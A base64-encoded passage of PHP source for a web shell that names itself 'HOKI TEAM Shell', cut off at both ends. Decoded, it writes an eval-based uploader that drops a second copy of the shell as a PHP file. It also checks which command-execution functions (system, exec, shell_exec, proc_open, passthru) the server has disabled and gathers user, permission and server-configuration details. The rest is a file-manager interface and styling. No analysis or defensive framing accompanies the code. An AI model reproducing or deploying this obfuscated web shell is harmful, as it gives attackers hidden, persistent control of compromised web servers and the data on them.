uUStQQzloUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhMMkkrUEdKeVBqeGljajRuTzMxbGJITmxlMlZqYUc4Z0p6eGlQanhtYjI1MElHTnZiRzl5UFNJak4wTkdRekF3SWo0OFkyVnVkR1Z5UGxWd2JHOWhaQ0JtWVdsc1pXUWdPaWc4TDJadmJuUStQQzloUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhMMkkrUEdKeVBqeGljajRuTzMxOVpXTm9ieUFuUEdObGJuUmxjajQ4YzNCaGJpQnpkSGxzWlQwaVptOXVkQzF6YVhwbE9qTXdjSGc3SUdKaFkydG5jbTkxYm1RNklIVnliQ2dtY1hWdmREdG9kSFJ3T2k4dmMyOXNaWFpwYzJsaWJHVXVZMjl0TDJsdFlXZGxjeTlpWjE5bFptWmxZM1JmZFhBdVoybG1KbkYxYjNRN0tTQnlaWEJsWVhRdGVDQnpZM0p2Ykd3Z01DVWdNQ1VnZEhKaGJuTndZWEpsYm5RN0lHTnZiRzl5T2lCeVpXUTdJSFJsZUhRdGMyaGhaRzkzT2lBNGNIZ2dPSEI0SURFemNIZzdJajQ4YzNSeWIyNW5QanhpUGp4aWFXYytjMjlzWlhacGMybGliR1ZBWjIxaGFXd3VZMjl0UEM5aVBqd3ZZbWxuUGp3dmMzUnliMjVuUGp3dmMzQmhiajQ4TDJObGJuUmxjajRuT3o4Kyc7CiRob2tpX3VwbG9hZGVyID0gJyR4ID0gYmFzZTY0X2RlY29kZSgiJy4kR0xPQkFMU1snX19IT0tJX1NIRUxMX0NPREUnXS4nIik7JGtpc2VyeW91bmkgPSBmb3Blbigia2lzZXJ5b3VuaS5waHAiLCJ3Iik7ZndyaXRlKCRraXNlcnlvdW5pLCR4KTsnOwpkZWZpbmUoIkhPS0lfVVBMT0FERVIiLCAiZXZhbChiYXNlNjRfZGVjb2RlKCciLl9fWlc1amIyUmxjZygkaG9raV91cGxvYWRlcikuIicpKSIpOwppZighaXNzZXQoJF9QT1NUWydhamF4J10pKXsKZnVuY3Rpb24gSG9raV9HZXREaXNhYmxlX0Z1bmN0aW9uKCl7CiRkaXNmdW4gPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKJGFmYSA9ICc8c3BhbiBjbGFzcz0iaGVhZGVyX3Nob3dfYWxsIj5BbGwgRnVuY3Rpb25zIEFjY2Vzc2libGU8L3NwYW4+JzsKaWYoZW1wdHkoJGRpc2Z1bikpcmV0dXJuKCRhZmEpOwokcyA9IGV4cGxvZGUoJywnLCRkaXNmdW4pOwokcyA9IGFycmF5X3VuaXF1ZSgkcyk7CiRpPTA7CiRiPTA7CiRmdW5jID0gYXJyYXkoJ3N5c3RlbScsJ2V4ZWMnLCdzaGVsbF9leGVjJywncHJvY19vcGVuJywncG9wZW4nLCdwYXNzdGhydScsJ3N5bWxpbmsnLCdkbCcpOwokYmxhY2tfbGlzdCA9IGFycmF5KCk7CiRhbGxvd19saXN0ID0gYXJyYXkoKTsKZm9yZWFjaCgkcyBhcyAkZCl7CgkkZD10cmltKCRkKTsKCWlmKGVtcHR5KCRkKXx8IWlzX2NhbGxhYmxlKCRkKSljb250aW51ZTsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJGQpKXsKCQlpZihpbl9hcnJheSgkZCwkZnVuYykpewoJCQkkZGlzIC49ICRkLiIgfCAiOyRiKys7CgkJCSRibGFja19saXN0W10gPSAkZDsKCQl9ZWxzZXsKCQkJJGFsbG93X2xpc3RbXSA9ICRkOwoJCX0KCQkkaSsrOwoJfQp9CmlmKCRpPT0wKXJldHVybigkYWZhKTsKaWYoJGkgPD0gY291bnQoJGZ1bmMpKXsKJGFsbCA9IGFycmF5X3ZhbHVlcyhhcnJheV9tZXJnZSgkYmxhY2tfbGlzdCwgJGFsbG93X2xpc3QpKTsKcmV0dXJuKCc8c3BhbiBjbGFzcz0iZGlzYWJsZV9mdW5jdGlvbnMiPicuaW1wbG9kZSgiIHwgIiwgJGFsbCkuJzwvc3Bhbj4nKTsKfQpyZXR1cm4oJzxzcGFuIGNsYXNzPSJkaXNhYmxlX2Z1bmN0aW9ucyI+Jy4kZGlzLic8L3NwYW4+PGEgaWQ9Im1lbnVfb3B0X0dldERpc0Z1bmMiIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9Imhva2lfY2FuX2FkZF9vcHQgPSB0cnVlO2coXCdHZXREaXNGdW5jXCcsbnVsbCxcJ3dwXCcpOyI+PHNwYW4gY2xhc3M9ImhlYWRlcl9zaG93X2FsbCI+U2hvdyBBbGwgKCcuJGkuJyk8L3NwYW4+PC9hPicpOwp9CmZ1bmN0aW9uIEhva2lOdW0oKXsKJGFyZ3MgPSBmdW5jX2dldF9hcmdzKCk7CiRob2tpeCA9IGFycmF5KCk7CiRmaW5kID0gYXJyYXkoKTsKZm9yKCRpPTE7JGk8PTEwOyRpKyspewokaG9raXhbXSA9ICRpOwp9CmZvcmVhY2goJGFyZ3MgYXMgJGFyZyl7CiRmaW5kW10gPSAkYXJnOwp9CmVjaG8gJzxzY3JpcHQ+JzsKZm9yZWFjaCgkaG9raXggYXMgJGhva2kpewppZihpbl9hcnJheSgkaG9raSwkZmluZCkpCmNvbnRpbnVlOwplY2hvICdob2tpJy4kaG9raS4iXz0iOwp9CmVjaG8gJyIiPC9zY3JpcHQ+JzsKfQppZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpCiRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOwokZnJlZVNwYWNlID0gZnVuY3Rpb25fZXhpc3RzKCdkaXNrZnJlZXNwYWNlJyk/QGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTonPyc7CiR0b3RhbFNwYWNlID0gZnVuY3Rpb25fZXhpc3RzKCdkaXNrX3RvdGFsX3NwYWNlJyk/QGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTonPyc7CiR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTsKJG9uPSI8c3BhbiBjbGFzcz0naGVhZGVyX29uJz4gT04gPC9zcGFuPiI7CiRvZj0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vZmYnPiBPRkYgPC9zcGFuPiI7CiRub25lPSI8c3BhbiBjbGFzcz0naGVhZGVyX25vbmUnPiBOT05FIDwvc3Bhbj4iOwppZihmdW5jdGlvbl9leGlzdHMoJ3NzaDJfY29ubmVjdCcpKQokc3NoMj0kb247CmVsc2UKJHNzaDI9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKQokY3VybD0kb247CmVsc2UKJGN1cmw9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2dldF9jbGllbnRfaW5mbycpfHxjbGFzc19leGlzdHMoJ215c3FsaScpKQokbXlzcWw9JG9uOwplbHNlCiRteXNxbD0kb2Y7CmlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQokbXNzcWw9JG9uOwplbHNlCiRtc3NxbD0kb2Y7CmlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQokcGc9JG9uOwplbHNlCiRwZz0kb2Y7CmlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkKJG9yPSRvbjsKZWxzZQokb3I9JG9mOwppZihAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkKJGRpc2Z1bj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKZWxzZQokZGlzZnVuPSJBbGwgRnVuY3Rpb25zIEVuYWJsZSI7CmlmKEBpbmlfZ2V0KCdzYWZlX21vZGUnKSkKJHNhZmVfbW9kZXM9IjxzcGFuIGNsYXNzPSdoZWFkZXJfb2ZmJz5PTjwvc3Bhbj4iOwplbHNlCiRzYWZlX21vZGVzPSI8c3BhbiBjbGFzcz0naGVhZGVyX29uJz5PRkY8L3NwYW4+IjsKJGNnaV9zaGVsbD0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vZmYnIGlkPSdoZWFkZXJfY2dpc2hlbGwnPk9GRjwvc3Bhbj4iOwppZihAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpewokYmFzZWRpcl9kYXRhID0gQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpOwppZihzdHJsZW4oJGJhc2VkaXJfZGF0YSk+MTIwKXsKJG9wZW5fYj1zdWJzdHIoJGJhc2VkaXJfZGF0YSwwLCAxMjApLiIuLi4iOwp9ZWxzZXsKJG9wZW5fYiA9ICRiYXNlZGlyX2RhdGE7Cn0KfWVsc2V7JG9wZW5fYj0kbm9uZTt9CmlmKEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSkKJHNhZmVfZXhlPUBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKTsKZWxzZQokc2FmZV9leGU9JG5vbmU7CmlmKEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSkKJHNhZmVfaW5jbHVkZT1AaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJyk7CmVsc2UKJHNhZmVfaW5jbHVkZT0kbm9uZTsKaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKQp7CiR1c2VyID0gZnVuY3Rpb25fZXhpc3RzKCJnZXRfY3VycmVudF91c2VyIik/QGdldF9jdXJyZW50X3VzZXIoKToiPz8/PyI7CiR1aWQgPSBmdW5jdGlvbl9leGlzdHMoImdldG15dWlkIik/QGdldG15dWlkKCk6Ij8/Pz8iOwokZ2lkID0gZnVuY3Rpb25fZXhpc3RzKCJnZXRteWdpZCIpP0BnZXRteWdpZCgpOiI/Pz8/IjsKJGdyb3VwID0gIj8iOwp9ZWxzZXsKJHVpZCA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRldWlkIik/QHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk6YXJyYXkoIm5hbWUiPT4iPz8/PyIsICJ1aWQiPT4iPz8/PyIpOwokZ2lkID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpJiZmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKT9AcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTphcnJheSgibmFtZSI9PiI/Pz8/IiwgImdpZCI9PiI/Pz8/Iik7CiR1c2VyID0gJHVpZFsnbmFtZSddOwokdWlkID0gJHVpZFsndWlkJ107CiRncm91cCA9ICRnaWRbJ25hbWUnXTsKJGdpZCA9ICRnaWRbJ2dpZCddOwp9CiRjd2RfbGlua3MgPSAnJzsKJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKJG49Y291bnQoJHBhdGgpOwpmb3IoJGk9MDsgJGk8JG4tMTsgJGkrKykgewokY3dkX2xpbmtzIC49ICI8YSBjbGFzcz0naGVhZGVyX3B3ZCcgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsXCIiOwokY2FjaF9jd2RfcGF0aCA9ICIiOwpmb3IoJGo9MDsgJGo8PSRpOyAkaisrKXsKJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOwokY2FjaF9jd2RfcGF0aCAuPSAkcGF0aFskal0uJy8nOwp9CiRjd2RfbGlua3MgLj0gIlwiKScgcGF0aD0nIi4kY2FjaF9jd2RfcGF0aC4iJyBocmVmPScjYWN0aW9uPWZpbGVtYW4mcGF0aD0iLiRjYWNoX2N3ZF9wYXRoLiInPiIuJHBhdGhbJGldLiIvPC9hPiI7Cn0KJGRyaXZlcyA9ICIiOwpmb3JlYWNoKHJhbmdlKCdhJywneicpIGFzICRkcml2ZSkKaWYoQGlzX2RpcigkZHJpdmUuJzpcXCcpKQokZHJpdmVzIC49ICc8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBjbGFzcz0iaGVhZGVyX2RyaXZlIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7CiRjc3Njb2RlID0nCS1tb3otYW5pbWF0aW9uLW5hbWU6IHNwaW47LW1vei1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTstbW96LWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjstbW96LWFuaW1hdGlvbi1kdXJhdGlvbjogMXM7LXdlYmtpdC1hbmltYXRpb24tbmFtZTogc3Bpbjstd2Via2l0LWFuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlOy13ZWJraXQtYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogbGluZWFyOy13ZWJraXQtYW5pbWF0aW9uLWR1cmF0aW9uOiAxczstbXMtYW5pbWF0aW9uLW5hbWU6IHNwaW47LW1zLWFuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlOy1tcy1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOiBsaW5lYXI7LW1zLWFuaW1hdGlvbi1kdXJhdGlvbjogMXM7YW5pbWF0aW9uLW5hbWU6IHNwaW47YW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogaW5maW5pdGU7YW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogbGluZWFyO2FuaW1hdGlvbi1kdXJhdGlvbjogMXM7JzsKZWNobyAnPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPG1ldGEgbmFtZT0iUk9CT1RTIiBjb250ZW50PSJOT0lOREVYLCBOT0ZPTExPVyIgLz4KPGxpbmsgaHJlZj0iJy5fX3Nob3dpY29uKCdob2tpbWluaScpLiciIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UveC1pY29uIi8+Cjx0aXRsZT4uLjo6ICcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLicgfiBIT0tJIFRFYU0gU2hlbGwgLSB2Jy5fX0hPS0lfVkVSU0lPTl9fLictJy5fX0hPS0lfQ09ERV9OQU1FX18uJyA6Oi4uPC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4nOz8+Ci5obGFiYWxle2NvbG9yOiM2N2FiZGY7Ym9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzliO21hcmdpbi1sZWZ0OjdweDtwYWRkaW5nOjJweH0jdGJsX3N5bXBwaHAgdHJ7dGV4dC1hbGlnbjpjZW50ZXJ9I1BocENvZGUsLnBocC1ldmFscy1hY2UsLnZpZXdfbWxfY29udGVudHtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtyaWdodDowO2JvdHRvbTowO2xlZnQ6MDtiYWNrZ3JvdW5kOiMxYjI5MmIyNjt0b3A6NTBweH0uZWRpdG9yLXZpZXd7cG9zaXRpb246cmVsYXRpdmU7aGVpZ2h0OjEwMCV9LnZpZXctY29udGVudHtwb3NpdGlvbjphYnNvbHV0ZTtvdmVyZmxvdy15OmF1dG87d2lkdGg6MTAwJTtoZWlnaHQ6OTMlfTo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7LXdlYmtpdC1ib3gtc2hhZG93Omluc2V0IDAgMCA2cHggcmdiYSgwLDAsMCwuMyk7Ym9yZGVyLXJhZGl1czoxMHB4O2JhY2tncm91bmQtY29sb3I6IzAwMDExNX06Oi13ZWJraXQtc2Nyb2xsYmFye3dpZHRoOjEwcHg7YmFja2dyb3VuZC1jb2xvcjojMDAwMTE1fTo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWJ7Ym9yZGVyLXJhZGl1czoxMHB4Oy13ZWJraXQtYm94LXNoYWRvdzppbnNldCAwIDAgNnB4IHJnYmEoMCwwLDAsLjMpO2JhY2tncm91bmQtY29sb3I6IzFlODJiNX0uZWRpdG9yLWZpbGUtbmFtZXttYXJnaW4tbGVmdDoyOXB4O21hcmdpbi10b3A6NHB4O292ZXJmbG93OmhpZGRlbjt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO3doaXRlLXNwYWNlOm5vd3JhcH0uZWRpdG9yLWljb257cG9zaXRpb246YWJzb2x1dGV9LmlzX2FjdGl2ZXtiYWNrZ3JvdW5kOnJnYmEoNDksNTUsOTMsLjc3KTtib3JkZXItcmFkaXVzOjEwcHh9Lmhpc3RvcnktbGlzdHtoZWlnaHQ6ODglO292ZXJmbG93LXk6YXV0b30ub3B0LXRpdGxle3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6NTAlO3RvcDo1MCU7dHJhbnNmb3JtOnRyYW5zbGF0ZSgtNTAlLC01MCUpO2NvbG9yOiMyZmQwNTE7Zm9udC1zaXplOjI1cHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlfS5vcHRpb25zX21pbl9iYWRnZXt2aXNpYmlsaXR5OmhpZGRlbjt0ZXh0LWFsaWduOmNlbnRlcjtyaWdodDozMHB4O2NvbG9yOiNmZmY7YmFja2dyb3VuZDojMmE4YTI0O3BhZGRpbmc6NnB4O2JvcmRlci1yYWRpdXM6NTAlO3dpZHRoOjE1cHg7aGVpZ2h0OjE1cHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7cG9zaXRpb246YWJzb2x1dGU7dG9wOi03cHh9I2NnaWxvYWRlci1taW5pbWl6ZWQsI2RhdGFiYXNlX3dpbmRvdy1taW5pbWl6ZWQsI2VkaXRvci1taW5pbWl6ZWQsI29wdGlvbnNfd2luZG93LW1pbmltaXplZHtkaXNwbGF5OmJsb2NrO3Bvc2l0aW9uOmZpeGVkO3JpZ2h0Oi0zMHB4O3dpZHRoOjMwcHg7aGVpZ2h0OjMwcHg7dG9wOjMwJTt6LWluZGV4Ojk5OTl9Lm1pbmltaXplZC13cmFwcGVye3Bvc2l0aW9uOnJlbGF0aXZlO2JhY2tncm91bmQ6IzBlMzA0YTt3aWR0aDo0NHB4O2hlaWdodDoxMzBweDtjdXJzb3I6cG9pbnRlcjtib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOjVweDtib3JkZXItdG9wLWxlZnQtcmFkaXVzOjVweH0ubWluaW1pemVkLXRleHR7dHJhbnNmb3JtOnJvdGF0ZSgtOTBkZWcpO2NvbG9yOndoZWF0O2ZvbnQtc2l6ZTp4LWxhcmdlO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0Oi01MXB4O3dpZHRoOjEyOXB4O3RvcDotMTBweDtib3JkZXItdG9wLWxlZnQtcmFkaXVzOjQlO2hlaWdodDo1NnB4O3BhZGRpbmc6M3B4fS5jbG9zZS1idXR0b24sLmVkaXRvci1taW5pbWl6ZXtoZWlnaHQ6MjZweDt3aWR0aDozOHB4O3JpZ2h0OjdweDtiYWNrZ3JvdW5kOiMxZDU2NzM7Y3Vyc29yOnBvaW50ZXI7cG9zaXRpb246YWJzb2x1dGU7Ym94LXNpemluZzpib3JkZXItYm94O2xpbmUtaGVpZ2h0OjUwcHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7dG9wOjE3cHg7Ym9yZGVyLXJhZGl1czoxMDBweH0uZWRpdG9yLW1pbmltaXple3JpZ2h0OjUwcHh9LmNsb3NlLWJ1dHRvbjphZnRlciwuY2xvc2UtYnV0dG9uOmJlZm9yZSwuZWRpdG9yLW1pbmltaXplOmJlZm9yZXt0cmFuc2Zvcm06cm90YXRlKC00NWRlZyk7Y29udGVudDoiIjtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6NjMlO3JpZ2h0OjZweDttYXJnaW4tdG9wOi01cHg7bWFyZ2luLWxlZnQ6LTI1cHg7ZGlzcGxheTpibG9jaztoZWlnaHQ6NHB4O3dpZHRoOjI3cHg7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDIxNiwyMDcsMjA3LC43NSk7dHJhbnNpdGlvbjphbGwgLjI1cyBlYXNlLW91dH0uZWRpdG9yLW1pbmltaXplOmJlZm9yZXt0cmFuc2Zvcm06cm90YXRlKDApfS5jbG9zZS1idXR0b246YWZ0ZXJ7dHJhbnNmb3JtOnJvdGF0ZSgtMTM1ZGVnKX0uY2xvc2UtYnV0dG9uOmhvdmVyOmFmdGVyLC5jbG9zZS1idXR0b246aG92ZXI6YmVmb3JlLC5lZGl0b3ItbWluaW1pemU6aG92ZXI6YmVmb3Jle2JhY2tncm91bmQtY29sb3I6cmVkfS5jbG9zZS1idXR0b246aG92ZXIsLmVkaXRvci1taW5pbWl6ZTpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMzksNjYsODAsLjk2KX0jY2dpbG9hZGVyLCNkYXRhYmFzZV93aW5kb3csI2VkaXRvciwjb3B0aW9uc193aW5kb3d7ZGlzcGxheTpub25lO3Bvc2l0aW9uOmZpeGVkO3RvcDowO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7ei1pbmRleDoyMH0uZWRpdG9yLXdyYXBwZXJ7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtwb3NpdGlvbjpyZWxhdGl2ZTt0b3A6MSV9LmVkaXRvci1oZWFkZXJ7d2lkdGg6OTclO2JhY2tncm91bmQ6cmdiYSgyMSw2Niw4OCwuOTMpO2hlaWdodDozN3B4O21hcmdpbi1sZWZ0OjEzcHg7cG9zaXRpb246cmVsYXRpdmU7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czoxNXB4O2JvcmRlci10b3AtcmlnaHQtcmFkaXVzOjE1cHh9LmVkaXRvci1wYXRoe3Bvc2l0aW9uOmFic29sdXRlO2ZvbnQtc2l6ZTp4LWxhcmdlO21hcmdpbi1sZWZ0OjEwcHg7dG9wOjZweDtjb2xvcjojMDBmZjdmfS5lZGl0b3ItbW9kYWx7cG9zaXRpb246cmVsYXRpdmU7dG9wOjA7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMSwyMywuOTUpO2hlaWdodDo5MCU7bWFyZ2luLWxlZnQ6MjAlO21hcmdpbi1yaWdodDoyJTtib3JkZXI6MnB4ICMwZTMwNGEgc29saWR9LmVkaXRvci1leHBsb3Jlcnt3aWR0aDoxOSU7aGVpZ2h0OjkwJTtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwxLDIzLC45NCk7cG9zaXRpb246YWJzb2x1dGU7ei1pbmRleDoyO2xlZnQ6MSU7Ym9yZGVyOjJweCAjMGUzMDRhIHNvbGlkfS5lZGl0b3ItY29udHJvbGxlcntwb3NpdGlvbjpyZWxhdGl2ZTt0b3A6LTEzcHh9LmZpbGUtaG9sZGVye3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjEwMCU7aGVpZ2h0OjMwcHh9LmZpbGUtaG9sZGVyPi5oaXN0b3J5e3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOiMwM2IzYTM7Y3Vyc29yOnBvaW50ZXI7bGVmdDo1cHg7Zm9udC1zaXplOjE4cHg7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjt3aWR0aDo4OSU7aGVpZ2h0OjEwMCU7ei1pbmRleDozO2JvcmRlci1yYWRpdXM6MTBweDt0cmFuc2l0aW9uOmJhY2tncm91bmQtY29sb3IgLjZzIGVhc2Utb3V0fS5maWxlLWhvbGRlcj4uaGlzdG9yeS1jbG9zZXtkaXNwbGF5OmJsb2NrO29wYWNpdHk6MDtwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDoycHg7d2lkdGg6MjBweDt0b3A6NHB4O3RleHQtYWxpZ246Y2VudGVyO2N1cnNvcjpwb2ludGVyO2NvbG9yOiNmZmY7YmFja2dyb3VuZDpyZWQ7Ym9yZGVyLXJhZGl1czoxMDBweDtmb250LWZhbWlseTptb25vc3BhY2U7ei1pbmRleDoxMDt0cmFuc2l0aW9uOm9wYWNpdHkgLjZzIGVhc2Utb3V0O2ZvbnQtc2l6ZToxNXB4O2hlaWdodDoxOXB4fS5maWxlLWhvbGRlcj4uaGlzdG9yeTpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM2NDY0NjR9LmVkaXRvci1leHBsb3Jlcj4uaGhlYWRlcntwb3NpdGlvbjpyZWxhdGl2ZTtjb2xvcjojMTRmZjA3O2JvcmRlci1ib3R0b206MnB4ICMyMDZhYTIgc29saWQ7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjttYXJnaW4tYm90dG9tOjEwcHg7aGVpZ2h0OjU1cHh9LmVkaXRvci1zZWFyY2h7cG9zaXRpb246YWJzb2x1dGU7Ym90dG9tOjdweDtsZWZ0OjMxcHh9LmhoZWFkZXItdGV4dHtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjhweDt0b3A6MnB4fS5oaXN0b3J5LWNsZWFye3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0OjhweDt0b3A6MnB4O2N1cnNvcjpwb2ludGVyfS5lZGl0b3ItYm9keXtwb3NpdGlvbjpyZWxhdGl2ZTttYXJnaW4tbGVmdDozcHg7aGVpZ2h0OjEwMCV9LmVkaXRvci1hbmltLWNsb3Nley13ZWJraXQtYW5pbWF0aW9uOmVkaXRvckNsb3NlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbW96LWFuaW1hdGlvbjplZGl0b3JDbG9zZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjplZGl0b3JDbG9zZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOmVkaXRvckNsb3NlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkc31Aa2V5ZnJhbWVzIGVkaXRvckNsb3NlezAle3Zpc2liaWxpdHk6MTtvcGFjaXR5OjF9MTAwJXt2aXNpYmlsaXR5OjA7b3BhY2l0eTowfX0uZWRpdG9yLWFuaW0tbWluaW1pemV7LXdlYmtpdC1hbmltYXRpb246ZWRpdG9yTWluaW1pemUgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tb3otYW5pbWF0aW9uOmVkaXRvck1pbmltaXplIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbXMtYW5pbWF0aW9uOmVkaXRvck1pbmltaXplIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczthbmltYXRpb246ZWRpdG9yTWluaW1pemUgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzfUBrZXlmcmFtZXMgZWRpdG9yTWluaW1pemV7MCV7cmlnaHQ6MDtvcGFjaXR5OjF9MTAwJXtyaWdodDotMjAwMHB4O29wYWNpdHk6MH19LmVkaXRvci1hbmltLXNob3d7LXdlYmtpdC1hbmltYXRpb246ZWRpdG9yU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbmltYXRpb246ZWRpdG9yU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjplZGl0b3JTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkczthbmltYXRpb246ZWRpdG9yU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHN9QGtleWZyYW1lcyBlZGl0b3JTaG93ezAle3JpZ2h0Oi0yMDAwcHg7b3BhY2l0eTowfTEwMCV7cmlnaHQ6MDtvcGFjaXR5OjF9fS5taW5pbWl6ZWQtc2hvd3std2Via2l0LWFuaW1hdGlvbjptaW5pbWl6ZVNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tb3otYW5pbWF0aW9uOm1pbmltaXplU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjptaW5pbWl6ZVNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzO2FuaW1hdGlvbjptaW5pbWl6ZVNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzfUBrZXlmcmFtZXMgbWluaW1pemVTaG93ezAle3JpZ2h0Oi0zMHB4O29wYWNpdHk6MH0xMDAle3JpZ2h0OjA7b3BhY2l0eToxfX0ubWluaW1pemVkLWhpZGV7LXdlYmtpdC1hbmltYXRpb246bWluaW1pemVIaWRlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbW96LWFuaW1hdGlvbjptaW5pbWl6ZUhpZGUgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246bWluaW1pemVIaWRlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczthbmltYXRpb246bWluaW1pemVIaWRlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkc31Aa2V5ZnJhbWVzIG1pbmltaXplSGlkZXswJXtyaWdodDowO29wYWNpdHk6MX0xMDAle3JpZ2h0Oi0zMHB4O29wYWNpdHk6MH19Lmtpc2VyeW